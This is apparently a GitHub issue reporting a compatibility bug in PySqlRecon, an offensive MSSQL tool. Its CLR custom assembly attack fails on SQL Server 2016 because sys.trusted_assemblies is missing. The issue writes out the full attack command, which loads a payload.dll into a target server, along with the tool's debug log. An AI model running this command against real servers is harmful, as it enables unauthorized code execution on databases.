-
Notifications
You must be signed in to change notification settings - Fork 16
Open
Description
It seems like older SQL servers do not have the sys.trusted_assemblies table. I get the following error when running PySqlRecon with the clr method against a Server 2016 server:
$ pysqlrecon --target 10.11.1.1 --username user --domain DOMAIN --debug --no-pass clr --dll payload.dll --function Run
_____ _____ _____ __ _____
| _ |_ _| __| | | | __ |___ ___ ___ ___
| __| | |__ | | | |__| -| -_| _| . | |
|__| |_ |_____|__ _|_____|__|__|___|___|___|_|_| v0.3.1
|___| |__|
[12:25:52] INFO Connecting to 10.11.1.1:1433
[12:25:52] DEBUG ENVCHANGE(DATABASE): Old Value: master, New Value: master
[12:25:52] DEBUG ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[12:25:52] DEBUG ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[12:25:52] DEBUG (10.11.1.1): Line 1: Changed database context to 'master'.
[12:25:52] DEBUG (10.11.1.1): Line 1: Changed language setting to us_english.
[12:25:52] DEBUG ACK: Result: 1 - Microsoft SQL Server (130 27138)
[12:25:52] DEBUG Login successful
[12:25:52] INFO Performing CLR custom assembly attack on 10.11.1.1
[12:25:53] ERROR (10.11.1.1): Line 1: Invalid object name 'sys.trusted_assemblies'.
The full SQL version:
Microsoft SQL Server 2016 (SP3-CU1-GDR) (KB5046856) - 13.0.7050.2 (X64)
Oct 14 2024 22:01:52
Copyright (c) Microsoft Corporation
Enterprise Edition: Core-based Licensing (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
This error does not happen in other SQL stored procedure loaders, such as Metasploit's mssql_clr_payload
Metadata
Metadata
Assignees
Labels
No labels